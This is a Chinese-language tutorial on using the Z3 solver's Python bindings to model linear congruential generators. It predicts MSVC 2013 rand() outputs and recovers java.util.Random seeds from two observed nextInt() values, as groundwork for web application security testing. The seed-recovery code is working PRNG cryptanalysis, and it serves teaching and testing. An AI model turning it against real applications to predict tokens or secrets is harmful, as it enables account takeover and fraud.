导语：这篇文章主要是介绍Z3，它是麻省理工学院的一款SMT求解器，将讨论SMT求解器的一些典型用法，展示如何使用Z3的Python绑定生成约束，并提供使用此技术进行WebApp安全测试的示例。
0x00 基础介绍
这篇文章主要是介绍Z3，它是麻省理工学院的一款SMT求解器，将讨论SMT求解器的一些典型用法，展示如何使用Z3的Python绑定生成约束，并提供使用此技术进行WebApp安全测试的示例。
SMT求解器应用范围非常广泛，适用于从预测genomic regulatory logic到designing microfluidic systems 和 validating cloud network configurations。从本质上讲，SMT求解器提供了一种正式的方法来探索和推理复杂的相互依赖的系统。
SMT求解器的一个重要应用是形式验证，例如，软件的符号执行，输入分析和安全测试。此类别中的一些非常好用的工具包括Microsoft Research的SAGE，KLEE，S2E和Triton。对符号执行应用特别有用的SMT求解器包括Z3，STP，Z3str2和Boolector。
这篇文章分为三个部分，第一部分介绍了Z3的Python绑定，并演示了如何进行约束求解。第二部分介绍了线性同余生成器的概念，并演示了Z3如何用于预测PRNG输出。最后，第三部分扩展了第二部分中使用的模型，以演示使用OWASP Benchmark方法的实际使用。
0x01 介绍Z3
在深入研究更复杂的问题之前，我们会先演示一下如何对数学难题进行建模。我们的目标是让读者熟悉使用Z3的Python绑定约束求解。因此，如果你已经很熟悉Z3了，可以直接跳到第二部分。
我们使用一个典型的编程问题作为切入点：编写一个接受两个参数N和n并返回布尔值的函数，函数检查是否存在n个连续自然数（不包括零）使得∑ n i = 1 a i = N
如果你还记得这种计算问题，其实可以使用Gauss’s tric来计算总和：
或者使用简化方法：
使用这个公式，我们可以计算出一个候选者。如果候选者是自然数，则该函数应该返回true，否则就是假。代码虽然简单，但需要一些推导。
现在让我们将这个问题看作一个约束系统。第一个约束是：
ai+1=ai+1
另外，我们应该对总和有一个约束：
n∑i=1ai=N
让我们将这些约束转换为Z3模型：
import z3 as z
z.set_param('parallel.enable', False)
首先，定义我们的目标：
n = 3 N = 1050
接下来将生成一些符号变量。符号变量（与我们稍后将使用的具体变量相对）充当占位符。它们的行为类似于Z3的键入机制，并帮助它选择合适的解决方案策略。此外，只要模型可以满足，就可以使用符号变量从模型中提取具体值。
注意使用列表推导（后面我们将广泛使用字典理解）和f-strings来生成具有唯一名称的多个符号变量。
ints = [z.Int(f'int_{i}') for i in range(n)]
现在将实例化一个求解器对象。解算器对象接受约束检查，如果它们是可满足的。解决方案可以通过特定策略进行调整，给定中间目标，并充当Z3的前端。为了解决我们的问题，我们将设置三个约束：
1.a0,…,an−1∈N1.a0,…,an−1∈N – non-negative natural numbers
2.ai+1=ai+12.ai+1=ai+1 – consecutive numbers
3.∑ni=1ai=N3.∑i=1nai=N – sum must equal to some predefined value
s = z.Solver() for i in range(n-1): # Constraint #1 s.add(ints[i] > 0) # Constraint #2 s.add(ints[i+1] == ints[i] + 1) # Constraint #3 s.add(z.Sum(ints) == N)
最后，我们将使用check()求解器对象的方法来测试约束的可满足性。该check()方法返回以下响应之一：sat，不满，不可行或未知。我们的问题非常小（就限制数量而言），所以我们只能得到满足的响应。
if s.check() == z.sat:
m = s.model()
print('Found a solution')
print(f'({n} terms) {m[ints[0]].as_long()} + ... + {m[ints[n -1]].as_long()} == {N}')
else:
print(f'Finding {n} consecutive integers with a sum of {N} is unsatisfiable')
Found a solution
(3 terms) 349 + ... + 351 == 1050
如上所述，约束是可以满足的。注意我们使用该model()方法来获取模型对象。然后，使用符号变量使用该as_long()方法从模型对象中提取具体值。
接下来，我们将概括我们的模型，并说明它可以用来提出一个更复杂的问题。
注意：这样就返回了求解器对象，稍后可以使用解算器添加其他约束来描述更复杂的模型。
def build_solver(n: int, N: int):
# Create symbolic variables
ints = [z.Int(f'int{i}') for i in range(n)]
# Instantiate a solver
s = z.Solver()
for i in range(n-1):
# Consecutive numbers
s.add(ints[i+1] == ints[i] + 1)
# Non-zero natural numbers
s.add(ints[i] > 0)
# Sum
s.add(z.Sum(ints) == N)
return s
使用此方法，可以无缝地生成求解器对象。返回求解器对象的另一个原因是它可以让我们检查我们的约束，添加其他约束，强制求解策略等等：
s = build_solver(n = 3, N = 1337) print(s) [int1 == int0 + 1, int0 > 0, int2 == int1 + 1, int1 > 0, int0 + int1 + int2 == 1337]
使用这种方法，可以检查模型输入的集合是否可以满足。例如，下面是在探索N = 1337的解空间：
for i in range(3, 10):
print(f'Sum 1337 is {build_solver(n = i, N = 1337).check()} with {i} integers')
Sum 1337 is unsat with 3 integers
Sum 1337 is unsat with 4 integers
Sum 1337 is unsat with 5 integers
Sum 1337 is unsat with 6 integers
Sum 1337 is sat with 7 integers
Sum 1337 is unsat with 8 integers
Sum 1337 is unsat with 9 integers
摘要：本节介绍Z3和基本模型的构建。我们演示了如何将数学问题表示为一组约束，将模型构造逻辑封装到函数中并探索问题的解空间。在下一节中，我们将演示如何使用Z3对算法进行建模并使用求解器对象提取（假设为）隐藏的内部状态。
0x02 使用PRNG算法建模
在熟悉Z3的基本特征之后，让我们尝试将这些技能应用到真实世界的算法中。在这个例子中，我们将：
· 描述流行的伪随机数发生器（PRNG）的工作原理：线性同余发生器（LCG）
· 开发一个使用Z3执行LCG的功能
· 预测LCG生成的数字序列中的下一个值
· 提取在已知LCG生成数字序列之前生成的值
· 提取用于实例化PRNG的种子
线性同余发生器（LCG）
这种功能具有数字随机数的属性（因此伪随机）。LCG是一种循环关系，其中初始值（称为“种子”）经历产生新数字的数学操作。新数字将成为下次调用函数时使用的种子。这种方法很快，只要仔细选择参数（下一节中更多关于它们），它就可以通过一些随机性统计测试。
有关LCG及其局限性的简短介绍，请查看有关线性同余生成器的Wikipedia页面。
典型的LCG通过执行以下步骤生成数字：
· 通过幻数乘以种子
· 在乘法结果中添加另一个幻数
· 用第三个幻数取结果的模数
因此，算法的魔术数字的选择是至关重要的。这些参数选择不当会产生强吸引力。吸引子是动态系统的一个特征，其中输入的扰动导致输出很少或没有变化（更多关于吸引子可以在这里找到）。下面可以看到参数选择不佳的一个例子，其中模数和被乘数之间存在简单的乘法关系。此选择会导致强吸引子和短周期（在重复数字之前调用函数的次数）：
这些图像中X轴上的值表示生成了多少个数字，Y轴表示生成的数字。对于种子值532（左图），我们看到强吸引子的行为。或者，对于种子值580（右图），我们看到短周期的示例。用于生成这些图像的小程序可在此处获得。
从上面的图像可以推断，使用魔术小数乘数= 10＆模数= 140和种子532或580，必然导致强吸引子行为。基本上，如果使用这些幻数并且生成两个提到的值中的一个，则序列的其余部分很容易预测。例如，假设我们选择了一个不同于532的种子，并且在生成n个调用532之后，序列中的所有未来数字都将为0。因此，即使选择“强”魔术数字有时也会导致质量随机性差。
作为一个实际的例子，我们将研究MSVC 2013中的LCG实现，已知MSVC相对较弱（即魔术数字选择不当）。
在MSVC 2013中实现rand（）
用于在MSVC 2013中实现rand（）的算法是简单LCG的一个很好的例子：
static unsigned long int next = 1;
int rand(void) /* RAND_MAX assumed to be 32767. */
{
next = next * 214013 + 2531011;
return (unsigned)(next/65536) % 32768;
}
基于此片段，我们希望生成使用Z3模拟算法的约束。具体来说，假设我们有一系列由算法生成的数字：
· 我们能预测序列中的下一个值吗？
· 我们可以计算序列中的前一个数字吗？
· 我们需要提供Z3来正确预测序列中下一个数字的最短序列是什么？
· 解决方案是否独特？我们能找到满足我们约束条件的其他内部状态吗？
现在让我们假设我们运行了rand()10次并获得了以下数字：
4, 54, 63, 79, 13, 55, 76, 11, 14, 45
让我们构造模拟rand（）所需的约束并回答上述问题。 注意：通过打印rand（）％100生成数字以将数字约束到[0,100]范围，用于初始化该功能的种子是1337。
使用Z3模拟rand（）
在这个例子中，我们将开始使用位向量（BitVec）对象。这些对象是数据存储在内存中的方式的符号表示，需要定义它们的大小。使用位向量允许我们使用按位运算符，我们将在下一个示例中广泛使用它们。在这个例子中，我们将使用位移和'按位和'运算符来表示除法和模运算。
我们首先定义一些符号变量。我们将定义两个变量（output_prev，output_next）来表示序列之前和之后生成的数字。此外，我们将定义10个state＃变量来表示next代码片段中的变量。注意使用字典理解来生成state＃变量。使用字典是一种有用的模式，可以以可访问的方式保存大量符号变量。
output_prev = z.BitVec('output_prev', 32)
states = {f'state_{i}': z.BitVec(f'state_{i}', 32) for i in range(1, 11)}
output_next = z.BitVec('output_next', 32)
实例化解算器
s = z.Solver()
现在让我们开始添加问题约束，第一个约束是数字序列是通过顺序调用生成的rand()，因此：
state_2=state_1×21401
state_3=state_2×214013+2531011
……
state_10=state_9×214013+2531011
for i in range(2, 11):
s.add(states[f'state_{i}'] == states[f'state_{i - 1}'] * 214013 + 2531011)
print(s)
[state_2 == state_1*214013 + 2531011,
state_3 == state_2*214013 + 2531011,
state_4 == state_3*214013 + 2531011,
state_5 == state_4*214013 + 2531011,
state_6 == state_5*214013 + 2531011,
state_7 == state_6*214013 + 2531011,
state_8 == state_7*214013 + 2531011,
state_9 == state_8*214013 + 2531011,
state_10 == state_9*214013 + 2531011]
第二个约束表示我们为10个数字得到的值，我们将模拟return语句。在该示例中，我们将演示使用逐位操作，以显示在某些情况下基于Z3的逐位操作和基于Python的按位操作如何可以互换使用：
· 每个状态除以65536（相当于向右移16位）
· 然后我们将剩下的除以32768（相当于做n＆0x7FFF）
· 最后，提示％100应该等于我们集合中的每个数字
因此：
((state_1/65536)%32768)%100≡((state_1>>16)&0x7FFF)%100=4
((state_10/65536)%32768)%100≡((state_10>>16)&0x7FFF)%100=45
注意我们如何使用基于python和Z3的按位运算来构造约束。Z3为按位操作提供了便利，但知道使用它们不是强制性的，这很有用。Z3按位操作首选的一个特定情况是签名是必要的。例如，在我们的例子中，我们对无符号模数感兴趣，Z3为其提供了URem方法。
random_nums = [4, 54, 63, 79, 13, 55, 76, 11, 14, 45]
for i in range(2, 10):
s.add(z.URem((states[f'state_{i}'] >> 16) & 0x7FFF ,100) == random_nums[i - 1])
最后，我们将为系列中的下一个和上一个数字设置约束：
s.add(output_prev == z.URem((states['state_1'] >> 16) & 0x7FFF ,100)) s.add(output_next == z.URem((states['state_10'] >> 16) & 0x7FFF ,100))
现在来看看我们的完整模型：
print(s) [state_2 == state_1*214013 + 2531011, state_3 == state_2*214013 + 2531011, state_4 == state_3*214013 + 2531011, state_5 == state_4*214013 + 2531011, state_6 == state_5*214013 + 2531011, state_7 == state_6*214013 + 2531011, state_8 == state_7*214013 + 2531011, state_9 == state_8*214013 + 2531011, state_10 == state_9*214013 + 2531011, URem(state_2 >> 16 & 32767, 100) == 54, URem(state_3 >> 16 & 32767, 100) == 63, URem(state_4 >> 16 & 32767, 100) == 79, URem(state_5 >> 16 & 32767, 100) == 13, URem(state_6 >> 16 & 32767, 100) == 55, URem(state_7 >> 16 & 32767, 100) == 76, URem(state_8 >> 16 & 32767, 100) == 11, URem(state_9 >> 16 & 32767, 100) == 14, output_prev == URem(state_1 >> 16 & 32767, 100), output_next == URem(state_10 >> 16 & 32767, 100)]
从一系列10个生成的数字开始。我们构造了一组模拟rand()函数操作的约束。使用序列中的中间8个数字来设置函数内部状态的约束。最后，设置约束output_next和output_previous符号变量。如果我们的约束是可满足的，则这两个变量应该与生成的序列中的第一个和最后一个数字保持相同的值。检查一下：
print(s.check()) sat print(s.model()) [state_3 = 3311639122, state_7 = 535860406, state_2 = 1700980091, state_4 = 4092565453, state_8 = 1173829793, state_5 = 2417052508, state_6 = 3389729967, state_1 = 2436150040, state_9 = 2200877280, output_next = 45, output_prev = 4, state_10 = 173405219]
结论：使用从源代码派生的一组约束，我们能够预测序列中的下一个数字。此外，我们能够计算序列之前的数字。
探索rand（）模型的解空间
接下来，尝试找到预测下次调用输出所需的最小值rand()。为此，我们将上述逻辑包装在一个函数中。该函数有两个参数：数字列表和序列中的下一个数字。该函数生成相关数量的约束并检查其可满足性。如果模型是可满足的，它会在序列中打印计算的和预期的下一个数字。
def break_rand(nums: list, next_num: int):
n_nums = len(nums)
#print(f'len nums: {n_nums}')
states = {f'state_{i}': z.BitVec(f'state_{i}', 32) for i in range(1, n_nums + 2)}
#print(states)
output_next = z.BitVec('output_next', 32)
s = z.Solver()
for i in range(2, n_nums + 2):
s.add(states[f'state_{i}'] == states[f'state_{i - 1}'] * 214013 + 2531011)
for i in range(1, n_nums + 1):
s.add(z.URem((states[f'state_{i}'] >> 16) & 0x7FFF ,100) == nums[i - 1])
s.add(output_next == z.URem((states[f'state_{n_nums + 1}'] >> 16) & 0x7FFF ,100))
#print(s)
if s.check() == z.sat:
print(f'For the sequence: {nums}, problem is satisfiable')
print(f'We were expecting: {next_num} and got: {s.model()[output_next]}\n')
else:
print(f'For the sequence: {nums}, problem is unsatisfiable')
return s, states, output_next
random_nums = [4, 54, 63, 79, 13, 55, 76, 11, 14, 45]
for i in range(3, 10):
break_rand(random_nums[:i], random_nums[i])
For the sequence: [4, 54, 63], problem is satisfiable
We were expecting: 79 and got: 94
For the sequence: [4, 54, 63, 79], problem is satisfiable
We were expecting: 13 and got: 60
For the sequence: [4, 54, 63, 79, 13], problem is satisfiable
We were expecting: 55 and got: 55
For the sequence: [4, 54, 63, 79, 13, 55], problem is satisfiable
We were expecting: 76 and got: 76
For the sequence: [4, 54, 63, 79, 13, 55, 76], problem is satisfiable
We were expecting: 11 and got: 11
For the sequence: [4, 54, 63, 79, 13, 55, 76, 11], problem is satisfiable
We were expecting: 14 and got: 14
For the sequence: [4, 54, 63, 79, 13, 55, 76, 11, 14], problem is satisfiable
We were expecting: 45 and got: 45
结论：在所有情况下，我们都能找到满足约束条件的解决方案。虽然约束条件令人满意，但请注意上面的前两个结果：虽然预测的下一个数字与预期值不匹配，但约束条件是可满足的。该结果表明模型可满足性并不意味着唯一性。在求解约束系统时，Z3返回它找到的第一个解，在我们的例子中，它会在序列中产生错误的数字。尽管如此，当我们为求解器提供五个或更多个数时，它始终如一地预测序列中正确的下一个数字。可以从这些结果推断出的另一个结论是，对于三个和四个数字的序列，至少存在产生这些数字的两个不同的内部状态。不同的内部状态产生不同的序列，同时保持前三个或四个数字。
接下来，我们想尝试枚举满足我们约束的所有解决方案。枚举解决方案使我们能够衡量我们解决方案的独特性。
枚举解决方案
在本节中，我们将尝试枚举满足约束条件的所有可能解决方案。为此，将使用求解器对象并为我们已经找到的解决方案添加否定约束。即：
state_1,…,state_n≠solution[state_1],…,solution[state_n]
为了自动化这个实验，我们将定义一个重复尝试使用求解器对象查找解法的函数。每当求解器找到一组解决约束的不同内部状态时，我们将找到的值添加到禁用值列表中。请注意我们使用Or()和eval()作为构建约束的替代方法。
链接到代码段。
def enumerate_solutions(nums: list, next_num: int, print_model: bool = False, print_solutions: bool = False):
s, states, output_next = break_rand(nums = nums, next_num = next_num)
counter = 0
solution_list = []
while s.check() == z.sat:
counter += 1
solution_list.append(s.model()[output_next].as_long())
print(f'Solution #{counter}')
if print_model:
print(f'{s.model()}\n')
# Create constraints using string concatenation
or_expression = 'z.Or('
for i in states.keys():
if i == 'output_next': continue
or_expression += f'states[i] != s.model()[states[i]], '
or_expression += ')'
s.add(eval(or_expression))
print(f'Found a total of {counter} solutions')
if print_solutions:
print(f'The solutions are: \n{solution_list}')
print(f'The solution set is: \n{set(solution_list)}')
enumerate_solutions(random_nums[:5], random_nums[5], print_model = True)
For the sequence: [4, 54, 63, 79, 13], problem is satisfiable
We were expecting: 55 and got: 55
Solution #1
[state_3 = 1164155474,
state_2 = 3848463739,
state_1 = 288666392,
state_4 = 1945081805,
state_5 = 269568860,
output_next = 55,
state_6 = 1242246319]
Solution #2
[state_3 = 3311639122,
state_2 = 1700980091,
state_1 = 2436150040,
state_4 = 4092565453,
output_next = 55,
state_5 = 2417052508,
state_6 = 3389729967]
Found a total of 2 solutions
enumerate_solutions(random_nums[:9], random_nums[9], print_model=True)
For the sequence: [4, 54, 63, 79, 13, 55, 76, 11, 14], problem is satisfiable
We were expecting: 45 and got: 45
Solution #1
[state_7 = 2683344054,
state_2 = 3848463739,
state_1 = 288666392,
state_4 = 1945081805,
state_8 = 3321313441,
state_3 = 1164155474,
state_5 = 269568860,
state_6 = 1242246319,
state_9 = 53393632,
output_next = 45,
state_10 = 2320888867]
Solution #2
[state_7 = 535860406,
state_2 = 1700980091,
state_1 = 2436150040,
state_4 = 4092565453,
state_9 = 2200877280,
state_8 = 1173829793,
state_3 = 3311639122,
state_10 = 173405219,
output_next = 45,
state_5 = 2417052508,
state_6 = 3389729967]
Found a total of 2 solutions
分析：用5或9个序号输入算法能够识别满足约束的两个不同的内部状态。虽然在每种情况下，我们确定了两个不同的状态，两者都在序列中产生正确的下一个数字。此外，我们已经确定了两个不同的初始内部状态（即state1,288666392或2436150040），它们导致相同的数字链。只要观察到至少五个连续数字，就可以预测序列中的下一个数字。
现在对4个数字的序列尝试相同的方法（我们已经知道它们不会在链中产生正确的下一个数字）。
enumerate_solutions(random_nums[:4], random_nums[4], print_solutions=True)
For the sequence: [4, 54, 63, 79], problem is satisfiable
We were expecting: 13 and got: 60
Solution #1
...
Solution #40
Found a total of 40 solutions
The solutions are:
[60, 49, 49, 9, 9, 29, 29, 32, 32, 18, 18, 93, 93, 69, 77, 77, 69, 67, 5, 5, 25, 25, 13, 13, 55, 55, 48, 48, 12, 12, 60, 24, 67, 24, 16, 16, 89, 89, 96, 96]
The solution set is:
{5, 9, 12, 13, 16, 18, 24, 25, 29, 32, 48, 49, 55, 60, 67, 69, 77, 89, 93, 96}
分析：用4个连续rand()算法，我们能够识别满足约束的40（！）个不同的内部状态。这些是每个解决方案预测的序列中的下一个数字：
60, 49, 49, 9, 9, 29, 29, 32, 32, 18, 18, 93, 93, 69, 77, 77, 69, 67, 5, 5, 25, 25, 13, 13, 55, 55, 48, 48, 12, 12, 60, 24, 67, 24, 16, 16, 89, 89, 96, 96
虽然内部状态是不同的，但发现的所有解决方案都必须产生序列：4,54,63,79。这意味着我们找到了一组40个初始状态（state_1）来创建这个确切的序列。此外，40种不同的解决方案仅与链中的第5个数字不同。具体来说，如果我们知道序列中的前四个数字，那么第五个数字可以有20个不同的值。基本上，我们已经找到了有限数量的可能解决方案。因此，如果我们观察到四个数字，我们可以以5％的置信度预测序列中的下一个数字。
结论：基于上面概述的实验，我们可以找到产生特定序列（伪）随机数的有限数量的初始状态。只要我们观察到足够大的连续数字序列，这个陈述就成立了。此外，似乎对于MSVC 2013 rand()函数中使用的幻数（已知它们很弱），观察到5个数字的序列就足以完全放心地预测第6个数字。
上述方法的一种可能的扩展是找到产生例如四个零序列所需的种子：
enumerate_solutions([0, 0, 0, 0], 0) For the sequence: [0, 0, 0, 0], problem is satisfiable We were expecting: 0 and got: 10 Solution #1 ... Solution #38 Found a total of 38 solutions enumerate_solutions([0, 0, 0, 0, 0], 0) For the sequence: [0, 0, 0, 0, 0], problem is unsatisfiable Found a total of 0 solutions
结论：基于这两个实验，有38个初始状态（种子）导致四个连续的零输出，而没有种子产生五个连续的零。
0x03 将此方法扩展到现实环境的例子
我们将这种方法扩展到另一个基于LCG的PRNG。具体来说，在本教程中，重点是攻击在java.util.Random class中的PRNG 。在构建能够预测值并提取种子的模型之后，我们将在实际的WebApp上测试我们的方法。
与上述MSVC 2013 rand()函数类似，该PRNG 使用种子/先前生成的数字来生成序列中的下一个数字。下面是java.util.Random该类的（部分）源代码。
76: public class Random implements Serializable
77: {
...
121: public Random()
122: {
123: this(System.currentTimeMillis());
124: }
...
132: public Random(long seed)
133: {
134: setSeed(seed);
135: }
...
151: public synchronized void setSeed(long seed)
152: {
153: this.seed = (seed ^ 0x5DEECE66DL) & ((1L << 48) - 1);
154: haveNextNextGaussian = false;
155: }
...
173: protected synchronized int next(int bits)
174: {
175: seed = (seed * 0x5DEECE66DL + 0xBL) & ((1L << 48) - 1);
176: return (int) (seed >>> (48 - bits));
177: }
来自：url
根据上面的代码，通过以下代码生成典型的随机数：
1.将类变量this.seed设置为外部提供的种子或 System.currentTimeMillis()
2.收到call后
next(int bits)
· 乘以this.seed幻数0x5DEECE66D并加上幻数0xB
· 屏蔽47个低位this.seed（将所有其他位设置为0）
· this.seed用我们刚刚计算的数字更新
· 执行（无符号）右位移，直到我们得到所需的位数
· 强制转换为int并返回
3.以下调用next(int bits)使用以前计算过的this.seed
总而言之，这种方法与我们在MSVC 2013分析过程中看到的非常类似，只做了一些修改：
· 与MSVC 2013相比，此实现使用更强大的魔术数字
· 低阶位被认为是“低随机”而不是高阶位（即，具有更短的周期）。Java通过使用long数据类型并在转换为int之前删除低位来解决这个问题（第176行）
· 在转换之前使用位移在数据类型之间进行转换
由于我们将处理多个变量类型，因此我们将导入bitstring包，其中包含不同数值表示之间的有用转换方法。
try: import bitstring as bs except ModuleNotFoundError: !pip install bitstring import bitstring as bs
模拟java.util.Random.next（）函数
从现在开始，我们想重用一些模型。因此，下面是用于构建函数约束的效用next()函数。注意LShR()用于逻辑（即无符号）右移和Extract()用于在不同大小的BitVec对象之间进行转换的函数。
另外，我们将使用simplify()函数。此函数分析约束并生成更简单和等效的约束，例如在以下情况中：
# Extract the 32 least significant bits # After shifting seed_0 16 bits to the right Extract(31, 0, LShR(seed_0, 16))
simplify()产生更容易阅读的输出：
Extract(47, 16, seed_0)
此外，在下面的示例中，我们将广泛使用BitVecVal对象。此对象的工作方式与此类似BitVec，但使用具体的常量值实例化对象。
注意：由于我们试图模拟next()工作方式，我们的模型试图实现函数签名。因此，应该知道next()生成的位数（gen_bits）。生成的位数会影响我们移动内部状态以获得输出（参见源代码中的第176行）。本质上，将gen_bits设置为31会产生无符号整数，而将其设置为32会产生有符号整数。
重要说明：BitVec对象不会被签名。因此，在数学运算中使用这些对象时要小心。
代码段链接：
def make_constraints_next(n_constraints: int, slope: int = 0x5DEECE66D, intercept: int = 0xB, gen_bits = 31):
# Define some constants
addend = z.BitVecVal(intercept, 64)
multiplier = z.BitVecVal(slope, 64)
mask = z.BitVecVal((1 << 48) - 1, 64)
# Define symbolic variables for the seed variable
seeds = {f'seed_{i}': z.BitVec(f'seed_{i}', 64) for i in range(n_constraints)}
constraints = []
# Build constraints for the relation in row 175
for i in range(1, n_constraints):
constraints.append(seeds[f'seed_{i}'] == z.simplify((seeds[f'seed_{i-1}'] * multiplier + addend) & mask))
# Define symbolic variables for the output from next()
next_outputs = {f'next_output_{i}': z.BitVec(f'output{i}', 32) for i in range(1, n_constraints)}
# Build the constraints for the relation in row 176
for i in range(1, n_constraints):
constraints.append(next_outputs[f'next_output_{i}'] == z.simplify(z.Extract(31, 0, z.LShR(seeds[f'seed_{i}'], 48 - gen_bits))))
return constraints, seeds, next_outputs
提取Random（）种子值
接下来编写一个函数，Random()根据一系列随机数提取用于实例化的种子。为了做到这一点，让我们来看看这个nextInt()函数。nextInt()有两种风格：
238: public int nextInt()
239: {
240: return next(32);
241: }
...
290: public int nextInt(int n)
291: {
292: if (n <= 0)
293: throw new IllegalArgumentException("n must be positive");
294: if ((n & -n) == n) // i.e., n is a power of 2
295: return (int) ((n * (long) next(31)) >> 31);
296: int bits, val;
297: do
298: {
299: bits = next(31);
300: val = bits % n;
301: }
302: while (bits - val + (n - 1) < 0);
303: return val;
304: }
由于已经具有生成描述的约束的函数next(32)，因此我们可以直接攻击第一个变体。
实验结构如下：
· Random()使用已知种子进行实例化
· 生成随机序列 nextInt()
· 编写一个基于已知序列生成约束的函数
· 提取用于生成序列的种子
此外，要回答以下问题：
· 提取的种子是否与已知种子相等？
· 种子是独特的，还是有其他种子产生相同的序列？
· 如果存在替代种子，它们在喂给时会产生相同的序列Random()吗？
注意：用于实例化的种子Random()不能直接使用，如下所示：
132: public Random(long seed)
133: {
134: setSeed(seed);
135: }
...
151: public synchronized void setSeed(long seed)
152: {
153: this.seed = (seed ^ 0x5DEECE66DL) & ((1L << 48) - 1);
154: haveNextNextGaussian = false;
155: }
因此，在设计约束时我们必须考虑到这一点。
def find_seed(sequence_length: int, slope: int = 0x5DEECE66D, intercept: int = 0xB):
# Define some constants
addend = z.BitVecVal(intercept, 64)
multiplier = z.BitVecVal(slope, 64)
mask = z.BitVecVal((1 << 48) - 1, 64)
# Note we're generating an extra constraint
# This is required since we'll be using seed_0 to extract the Random() instantiation value
next_constraints, seeds, next_outputs = make_constraints_next(n_constraints=sequence_length+1, gen_bits=32)
# Define a symbolic variable that we'll use to get the value that instantiated Random()
original_seed = z.BitVec('original_seed', 64)
# Build a solver object
s = z.Solver()
# Build a constraint that relates seed_0 and the value used to instantiate Random()
s.add(seeds[f'seed_0'] == (original_seed ^ multiplier) & mask)
# Next let's add the constraints we've built for next()
s.add(next_constraints)
# Lastly, let's return all the objects we've constructed so far
return s, original_seed, seeds, next_outputs
我们Random()用值1337 实例化并调用了nextInt()6次。产生的序列是：
known_ints = [-1460590454, 747279288, -1334692577, -539670452, -501340078, -143413999]
尝试从序列中提取种子：
solver, original_seed, seeds, next_ouputs = find_seed(sequence_length=len(known_ints))
# Notice: we setup the constraints so that next_outputs_1 is the result of seed_1 since we're using seed_0 for other uses
# Consequently, the index in known_ints is smaller by 1 than the index for next_outputs
solver.add(next_ouputs[f'next_output_{1}'] == known_ints[0])
solver.add(next_ouputs[f'next_output_{2}'] == known_ints[1])
# Lets take a look at our constraints before trying to solve them
print(solver)
[seed_0 == (original_seed ^ 25214903917) & 281474976710655,
seed_1 ==
Concat(0, 11 + 25214903917*Extract(47, 0, seed_0)),
seed_2 ==
Concat(0, 11 + 25214903917*Extract(47, 0, seed_1)),
seed_3 ==
Concat(0, 11 + 25214903917*Extract(47, 0, seed_2)),
seed_4 ==
Concat(0, 11 + 25214903917*Extract(47, 0, seed_3)),
seed_5 ==
Concat(0, 11 + 25214903917*Extract(47, 0, seed_4)),
seed_6 ==
Concat(0, 11 + 25214903917*Extract(47, 0, seed_5)),
output1 == Extract(47, 16, seed_1),
output2 == Extract(47, 16, seed_2),
output3 == Extract(47, 16, seed_3),
output4 == Extract(47, 16, seed_4),
output5 == Extract(47, 16, seed_5),
output6 == Extract(47, 16, seed_6),
output1 == 2834376842,
output2 == 747279288]
solver.check()
sat
约束是可以满足的，我们得到了我们预期的原始种子
solver.model()[original_seed] 1337
预测序列的其余部分
序列中的其余数字怎么样？它们是否符合我们已知的序列？
注意：由于使用的是BitVec对象，因此结果是无符号的。我们将使用bitstring库（别名为bs）来转换unsigned，以便我们可以将它们与signed进行比较。
for i, known_int in enumerate(known_ints):
calculated_int = solver.model()[next_ouputs[f'next_output_{i+1}']].as_long()
assert bs.BitArray(uint=calculated_int, length=32).int == known_int
print('All assertions passed')
All assertions passed
结论：我们可以预测所有未来nextInt()调用的输出，并Random()基于两个连续的数字提取用于实例化的种子
这些数字必须连续吗？我们是否必须知道序列中的第一个数字才能工作？
# Generate all possible index pair combinations for known_ints
import itertools
index_pairs = itertools.combinations(range(len(known_ints)), 2)
# Now let's run our algorithm on each pair
for i, j in index_pairs:
print(f'Trying sequence indices: {i}, {j}')
# Generate a new solver object
solver, original_seed, seeds, next_ouputs = find_seed(sequence_length=len(known_ints))
# Set constraints for the output
solver.add(next_ouputs[f'next_output_{i+1}'] == known_ints[i])
solver.add(next_ouputs[f'next_output_{j+1}'] == known_ints[j])
assert solver.check() == z.sat
assert solver.model()[original_seed] == 1337
print(f'All assertions passed\n')
Trying sequence indices: 0, 1
All assertions passed
Trying sequence indices: 0, 2
All assertions passed
Trying sequence indices: 0, 3
All assertions passed
Trying sequence indices: 0, 4
All assertions passed
Trying sequence indices: 0, 5
All assertions passed
Trying sequence indices: 1, 2
All assertions passed
Trying sequence indices: 1, 3
All assertions passed
Trying sequence indices: 1, 4
All assertions passed
Trying sequence indices: 1, 5
All assertions passed
Trying sequence indices: 2, 3
All assertions passed
Trying sequence indices: 2, 4
All assertions passed
Trying sequence indices: 2, 5
All assertions passed
Trying sequence indices: 3, 4
All assertions passed
Trying sequence indices: 3, 5
All assertions passed
Trying sequence indices: 4, 5
All assertions passed
结论：只要我们知道序列中的两个数字，我们就可以预测整个序列。
种子独特性
现在已经证明我们可以提取种子，我们能找到另一种产生相同序列的种子吗？
# Generate a new solver object
solver, original_seed, seeds, next_ouputs = find_seed(sequence_length=len(known_ints))
n_solutions = 10
print(f'Looking for {n_solutions} unique original_seed values that produce our sequence')
for i in range(n_solutions):
# Set constraints for the output
solver.add(next_ouputs[f'next_output_{1}'] == known_ints[0])
solver.add(next_ouputs[f'next_output_{2}'] == known_ints[1])
if solver.check() == z.sat:
solution = solver.model()[original_seed].as_long()
solution_hex = bs.BitArray(uint=solution, length=64).hex
print(f'Found solution #{i+1}:\t 0x{solution_hex}')
# Invert the solution we found
solver.add(solver.model()[original_seed] != original_seed)
Looking for 10 unique original_seed values that produce our sequence
Found solution #1: 0x0000000000000539
Found solution #2: 0x0100000000000539
Found solution #3: 0x0200000000000539
Found solution #4: 0x0300000000000539
Found solution #5: 0x0002000000000539
Found solution #6: 0x0202000000000539
Found solution #7: 0x0102000000000539
Found solution #8: 0x0302000000000539
Found solution #9: 0x4000000000000539
Found solution #10: 0x4002000000000539
分析：我们从这个算法中获得的种子并不是唯一的。从上面可以看出，16个MSB是free的，可以取任何值，而不会改变生成的序列。这个结果是有意义的，因为这些位在setSeed()运行时会立即被屏蔽（参见第153行）。因此，它们不会影响序列。
模拟java.util.Random.nextLong（）函数
现在我们已经证明输出next()完全可以使用两个（非连续的）数字来预测，可以继续打破其他可用的Random()公共方法。也就是说，我们将处理该nextLong()方法：
318: public long nextLong()
319: {
320: return ((long) next(32) << 32) + next(32);
321: }
我们将此方法建模为我们上面所示的直接扩展。主要是，此方法的作用（请参阅Java中的优先顺序以获取更多信息）如下：
1.next(32)在括号内使用- 生成一个带符号的int
2.将int转换为long
3.将长32位向左移位
4.使用next(32)- 括号外生成另一个signed int
5.将signed int添加到long shift long
6.归还总和
